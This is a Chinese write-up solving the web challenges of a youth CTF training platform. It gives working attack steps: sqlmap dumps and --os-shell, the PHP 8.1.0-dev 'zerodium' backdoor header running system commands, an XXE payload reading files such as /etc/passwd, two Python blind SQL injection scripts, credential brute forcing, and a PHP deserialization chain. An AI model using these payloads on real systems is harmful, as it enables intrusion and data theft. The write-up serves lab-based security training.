[青少年CTF训练平台]web部分题解(已完结!)

文章管理系统

首先打开环境(>ω<。人)ZZz♪♪

既然要做题,就要做全面了,图上说了,既然有假flag我就先找出来:

假flag:

打开vmware,使用sqlmap进行处理:

复制代码
sqlmap -u http://challenge.qsnctf.com:31645/?id=1 --dbs

记得中间的url换成自己的

看到了六个可能:

{*] ctftraining

\*\] information_schema \[\*\] mysql \[\*\] performance_schema \[\*\] test \[\*\] word 那就挨个读取,利用指令 sqlmap -u http://challenge.qsnctf.com:31645/?id=1 -D ctftraining -T test --dump "ctftraining"改为上述文件夹进行尝试最终得到 ![](https://file.jishuzhan.net/article/1765660223235690497/fcc779cd585476af7df77586987ed84a.webp) 好的,得到了假flag了♪(⌒∇⌒)ノ"" ## 真flag: 同样打开kali,对sqlmap进行修改代码 sqlmap -u "http://challenge.qsnctf.com:32030/?id=1" --os-shell 进行执行: ![](https://file.jishuzhan.net/article/1765660223235690497/fff7a1a24b4415a758c071be2d40d7b2.webp) 进行寻找: ![](https://file.jishuzhan.net/article/1765660223235690497/2bc46ff469e88ecfa26b728b6cfbdfeb.webp) 查找一下flag: find / -name "flag" ![](https://file.jishuzhan.net/article/1765660223235690497/4c743bb6286aa23732779f822498b8ff.webp) 看到了,调取: cat /flag ![](https://file.jishuzhan.net/article/1765660223235690497/15187199580544b42423025dd29d1905.webp) OK,拿到了 (\*˘︶˘\*).。.:\*♡ qsnctf{5a73aa45b44b409a815a4051428a3e11} # Robots 打开题目环境: ![](https://file.jishuzhan.net/article/1765660223235690497/43a9457d450a4cbbdea8d79f663f6a7c.webp) 既然提示了Robots.txt那就访问一下呗: http://challenge.qsnctf.com:32422/robots.txt 看到了有个什么什么的.php ![](https://file.jishuzhan.net/article/1765660223235690497/4143178769c5fbee35cb04175793679e.webp) http://challenge.qsnctf.com:32422/f1ag_1n_the_h3re.php ![](https://file.jishuzhan.net/article/1765660223235690497/578d6a2f5e089bf7f365aac69dcbe956.webp) 得到flag: qsnctf{ed8c1a488b4e4304b89c01531d41b99c} # 黑客终端 打开环境 ![](https://file.jishuzhan.net/article/1765660223235690497/4511285b5861cddd935514563ff7d12b.webp) ok尝试一下指令,看看是不是SQL一类的 ls ![](https://file.jishuzhan.net/article/1765660223235690497/bc96394ce7288134a5541052c551cc82.webp) ## 方法一: 有东西,直接抓一下试试 cat /flag ![](https://file.jishuzhan.net/article/1765660223235690497/231086c13ab128c73afedb2373e14d09.webp) 啊这?这么简陋好吧 ## 方法二: 再看看源码:F12按一下,再ctrl f搜索一下 ![](https://file.jishuzhan.net/article/1765660223235690497/1cb91dba9fe3f8532ee62148d35bb1c1.webp) ![](https://file.jishuzhan.net/article/1765660223235690497/9d6b5585e25440cef18dde639fc58ddb.webp) 再次得到,好的,看着很酷炫的花架子结束=.= qsnctf{e681d8444f8542aa8e0842d6f77e4c80} # 此地无银三百两 看到环境写了"此地无银三百两"这类的话术,那就找找看: ![](https://file.jishuzhan.net/article/1765660223235690497/2a597a698962f222cb3ee4406e136192.webp) CTRL u或者F12都可以,打开后CTRL f搜索: ![](https://file.jishuzhan.net/article/1765660223235690497/f898e4ad7f7091f92677cf24b31ca23c.webp) 直接发现flag,这里在思考是不是出题漏洞,因为和上一题太像了,一般不会这么出题,当时尝试一下别的方式,结果发现,最快最优就是这个解题方式,当然不嫌麻烦的师傅可以用bp抓包进行操作,效果差不多。 qsnctf{0fc8582b97874db0bfb98d4449884494} # EasyMD5 作者随笔:我使用的是青少年ctf平台(废话,标题都是),这道题加载速度不知道为什么很慢,再加载过程中我看到了google的访问需求可能是这个原因导致,所以不是环境问题,只是慢,做的时候打开耐心等待一会儿就好了 0.o 打开以后看到了DT 的快乐吟唱 ![](https://file.jishuzhan.net/article/1765660223235690497/4954382886eb26e7b2962973b1fd35dc.webp) 题目是md5,所以和这个跑不了关系,那就直接文件里边加入内容[MD5](https://so.csdn.net/so/search?q=MD5&spm=1001.2101.3001.7020)值是php 弱等于的判断就行,从哪个口上传无所谓的: 大:s878926199a 小:s155964671a ![](https://file.jishuzhan.net/article/1765660223235690497/c2a482aae4b403212eb0dc074e2c7576.webp) 完成后发现要PDF格式(嘤嘤嘤,DT大神竟然生气让我滚)T.T ## 方法一:(会在出flag后网站报错,操作简单但是出flag要手速截图) ![](https://file.jishuzhan.net/article/1765660223235690497/ebf9259ecf0a350ddaf22a1095ac3e25.webp) 那就改一下格式重新上传 ![](https://file.jishuzhan.net/article/1765660223235690497/3af57e6dde656bdb80911dd14075d0c6.webp) 出了,但是靶机会在出flag后闪进报错,试了很多遍都是这样,最后确认不是自己的问题以后去找了下出题人找到原因:"做了重定向,入口有问题"。拷打完出题人找了一下解决方案,用bp抓包做题。 ## 方法二:(操作难一点,需要bp基础,解决了闪报错网址问题) 上述步骤不变,上传文件时bp抓包 ![](https://file.jishuzhan.net/article/1765660223235690497/772c84f41079c18862c1b53ccad7ed26.webp) 获取以后直接发包就可以了,flag在最下边,你也可以不改原文件的格式在bp里改成pdf ![](https://file.jishuzhan.net/article/1765660223235690497/005794a16346f77e57a55c6813f1a367.webp) 得到flag 嘻嘻 qsnctf{dd180d8feb104557b7ecfd87385d33fa} # PHP的后门 打开环境后看到了个提示注意php版本 ![](https://file.jishuzhan.net/article/1765660223235690497/2503207f3fa87a96dd124e2179ec6421.webp) 这样的话就要看一眼了,使用bp进行抓包,看到了版本号是8.1.0-dev ![](https://file.jishuzhan.net/article/1765660223235690497/e10d4f0a8f16611fbc07adfe43f3905b.webp) 打开百度搜索什么后门能用,得到答案是:User-Agentt: zerodiumfile_put_contents('indes.php','\');类似这段代码可以复写字母后写入想植入的代码 直接在bp中操作放入: User-Agentt: zerodiumsystem("cat /flag"); ![](https://file.jishuzhan.net/article/1765660223235690497/3abab4d6a80137b1e27b26bb01f784e3.webp) 得到flag: qsnctf{3812e3ff73934f4a8c3c6ce1966fa37b} 需要注意的是括号内可以修改指令,你也可以使用"一句话木马""ls"等等一系列代码加入蚁剑进行操作,这里就不展示了。=.= # PHP的XXE 开启环境以后发现直接是phpinfo上界面,结合题干告诉我要用xml的内容,先所搜xml好了:ctrl f xml ![](https://file.jishuzhan.net/article/1765660223235690497/aee141b1b8f77e0e25f23f944e9592d9.webp) 看到了版本是2.8,这个版本下有一篇博客有详细解释,这里放在这里:[=.=](https://xz.aliyun.com/t/3357#toc-4) 那么就开始操作,先抓包: ![](https://file.jishuzhan.net/article/1765660223235690497/87019f17f0380f8fd52d1593c337ff0c.webp) 然后拿着下边代码是科普博客的注解,放了注释给大家,最好还是看一下这个漏洞是什么,跳转链接在上边"=.="这个里边 ]> &xxe; /* 1.读取任意文件 file 协议,file:///etc//passwd php 协议,php://filter/read=convert.base64-encode/resource=index.php 2.执行系统命令 PHP环境中PHP的expect模块被加载 expect://ipconfig 3.内网探测 http://192.168.0.128:80 参见:https://xz.aliyun.com/t/3357#toc-11 */ 首先修改http后的代码,触发bug: GET /simplexml_load_string.php HTTP/1.1 ![](https://file.jishuzhan.net/article/1765660223235690497/dc82ee5df9e24bc160a063ce35044026.webp) 然后带入下边的一把梭的本题代码: ]> &xxe; 得到flag: ![](https://file.jishuzhan.net/article/1765660223235690497/c5e5c1137805c5f3cea14c39f29e36b3.webp) qsnctf{c786d4cb0d5647a3a3ddd7103e3ab964} bp操作的两步记得分开进行,先触发bug,再一把梭,不然可能无回响哦。。。。 # Easy_SQLi 打开环境看了一下,只有类似弱口令这样子的login端口,但是题目却叫做sqli,一时间我没找到类似于:"id=1"一类的keyword,所以呢还是先尝试弱口令: ok,打开bp ![](https://file.jishuzhan.net/article/1765660223235690497/031dc3bf0883a252ce2af28b70173bc7.webp) 选择类似图中绿色块中用"§"修改,分别爆破,我这里没有使用混合爆破,主要是因为自己的老年电脑实在算不动混合爆破的数字量,这里我算出来的答案是"admin"和"123456"。 ![](https://file.jishuzhan.net/article/1765660223235690497/49c5c9eec49d4082a757d2a0f17c9aad.webp) 因为我这里是边做边写wp,所以并不清楚这道题的密码会不会因为每次开靶机的不同发生变化,也就是有没有加入弱口令的动态密码,所以,请师傅不要直接复制粘贴密码,按着操作来一遍,效果一致\^_\^。 这里可以使用自己的密码本,如果有新师傅没有密码本可以私信给我,我给师傅们发我的密码本 登陆成功! ![](https://file.jishuzhan.net/article/1765660223235690497/f30b2529fa0760bf8a8c205eb32b4c4c.webp) 接下来复制url放进脚本,这里送两个类型题脚本,可以根据自己电脑情况选择:】 格式:登陆界面url+/login.php ### 脚本1:(吃配置,快) import requests import time url = ""#网站放这里 flag = "" for num in range(1,100): for i in range(33,127) : data = {'uname':"' or 1=1 and ascii(substr((select group_concat(password) from information_schema.columns where table_schema=database()),{0},1))={1}#".format(num,i),'psw':'1'} res = requests.post(url = url, data = data) time.sleep(0.05) if res.text == "Login successful" : flag += chr(i) break print(flag) ### 脚本2:(不吃配置,慢慢破)' import requests url = ''#这里放url res = "" for i in range(1, 48, 1): for j in range(32, 128, 1): # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#' # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#" payload = f"if(ascii(substr((select group_concat(password) from users),{i},1))>{j},sleep(0.5),0)#" data = { 'uname': "admin' and "+payload, 'psw':123456 } try: r = requests.post(url=url, data=data,timeout=0.2) except Exception as e: continue res += chr(j) print(res) break 得到flag: ![](https://file.jishuzhan.net/article/1765660223235690497/e5821800bf821a4c4eccf1c0652c2b0f.webp) qsnctf{145435737e6c460abcab2d93e2d46c7d} # 雏形系统 打开环境后映入眼帘的是登陆系统,那就像之前一样考虑sql 以及弱口令: ![](https://file.jishuzhan.net/article/1765660223235690497/f152799e668ea6784e4e443ea9f07f69.webp) 结果折腾半天啥也没有,这是一个可修改的界面,那没办法了试一试dirsearch扫描: kali启动! dirsearch -u http://challenge.qsnctf.com:32147/ -e all//中间替换成自己的url ![](https://file.jishuzhan.net/article/1765660223235690497/a7699e761d9da0f080e2f8a3a65a97c1.webp) 扫面到了www.zip 那可以直接打开了: ![](https://file.jishuzhan.net/article/1765660223235690497/eee9330bff8c726070e3f84003da46a8.webp) 解压以后出现两个文件,看过以后robots.txt里边没东西直接打开"qsnctf.php"就可以了 qsnctf.php Login Page

Welcome to the login testing page!


审计完以后,去掉无用的图层一系列代码,剩下用的就是 打眼一看混淆,考的还挺新的,给大家送一个博客,我只讲这题。。。0.0["奇安信攻防社区-phpjm混淆解密浅谈](https://forum.butian.net/share/1476)" 先把qsnctf.php的eval改成echo 得出这个乱七八糟的东西: $O0O000="KXpJtRrgqUOHcFewyoPSWnCbvkfMIdmxzsELYZBVGhDNuaATlQjiTaMhyQJUrZntqeKBsNwRckmlodVASYpWxjLEbIfCgvOFuizDPGXHwO9BitzTSmzUSgCsqp9sa3hPqg9sYgPuIsUBTDjTmHzUSmfXlgexqsfxigdTSmzUStjTSmzUSmzUSmfBYchjicAUhg5PKtG7mHzUSmzUSmzUqtCHlgPXSmQBbaFxnBNUSmzUSmzUStf1bpWMbsfpYc5XYgPolHfVa3QoZ3Qsic5kTmP7mHzUSmzUSmzUSmzUSmQ0igPxED5uIav0nXMGDeNNhtQNiaAywkfvq3AMnBNUSmzUSmzUSt0TSmzUSt0TSmzUSgFjbaFxStYomHzUSmf7mHzUSmzUSmzUqtCHlgPXSmQxIaU7mHzUSmzUSmzUqtCHlgPXSmQvI2Z7mHzUSmzUSmzUqtCHlgPXSmQMlkQPlkQMl247mHzUSmzUSmzUqtCHlgPXSgI1lpF0ic9uSe9VIgCxYth1b3GNTajTSmzUSmzUSmzUSmzUIcFNlszHRgdUCth5StFPqpPvlgP6IRfFIRLHnBNUSmzUSmzUSmzUSmzdYgvMqs0+ic5xqgCXYmUMnBNUSmzUSmzUSt0TSmzUSmzUSmfpYc5XYgPolHfMlkFBIcF0TmP7mHzUSmzUSmzUSmzUSgPpTmQ0igPxED5xIaU9wRYHl3dkhHbdYgvMqs0+bcYPwD0kIcPkitQPIc4kTGNUSmzUSmzUSmzUSmf7mHzUSmzUSmzUSmzUSmzUSmfPb2voSmQ0igPxED5MlkQPlkQMl247mHzUSmzUSmzUSmzUSt0TSmzUSmzUSmzUSmzUIcFNlszH8h+IvDL45lTf8h+SjHS7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSgFjbaFxSLQPlc8TSmzUStjTSmzUSmzUSmfBYchjicAUhgL7mHzUSmzUSmzUq3QvYgPXSgI1lpF0ic9uSe9Vb2ejleF0baQMbsUdbcF0ic9uEmzdIg8MmHzUSmzUSmzUKBNUSmzUSmzUSmzUSmfklg9HbcBUhgS7mHzUSmzUSmzUSmzUSmQHTmQdl1jBaRd7mHzUSmzUSmzUVGNUSmzUVGNTSmzUSmQHSO0Uhe9GD1FZcsYBbaFxY29sImYYnBNUSmzUhgLUwRzda1fwZ1Qlh3CxIahubc1Ph107mHzUSmfzYc5xIahMbcWMKpZNhgLMnBNUSmzUicbUTmeMq3FPYmUdbHdMStjTSmzUSmzUSmfPb2voSmS9wD09wD09wD09wD09wD09wD1GDeNURc5BYaGUcc91qHfnbc1PSD09wD09wD09wD09wD09wD09wRS7mHzUSmf9mHzUSmfMIHUdbD09h2edlcPuhsbphgS9wRSkixepYcv1h3AUYgCxYmfdIc1oSHdTSmzUStjTSmzUSmzUSmfPb2voTmEkploPoIapHhOPHM8HTDjTSmzUSt0TmHzUSmz/wU=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000))));?> 替换: '.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000), $OO0O00($O0O000,0,$OO0000)))); ?> 这样就得到了源码,长这样: next::PLZ($this->pass); } } class wo { public $sex; public $age; public $intention; public function __destruct(){ echo "Hi Try serialize Me!"; $this->inspect(); } function inspect(){ if($this->sex=='boy'&&$this->age=='eighteen') { echo $this->intention; } echo "🙅18岁🈲"; } } class Demo { public $a; static function __callStatic($action, $do) { global $b; $b($do[0]); } } $b = $_POST['password']; $a = $_POST['username']; @unserialize($a); if (!isset($b)) { echo "==================PLZ Input Your Name!=================="; } if($a=='admin'&&$b=="'k1fuhu's test demo") { echo("登录成功"); } ?> 这样再配一下链子: sex='boy'; $a->age='eighteen'; $a->intention=$b; $b->next=$c; $b->pass='cat /f*'; echo serialize($a); 得到序列化的代码: username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}&password=system ![](https://file.jishuzhan.net/article/1765660223235690497/e7f9e9c47953f50e6e4867774941d38b.webp) 得到flag: qsnctf{8e7b8ba095db4988aa48d299211875fc} 完结撒花!!!希望对师傅们有帮助!◕‿◕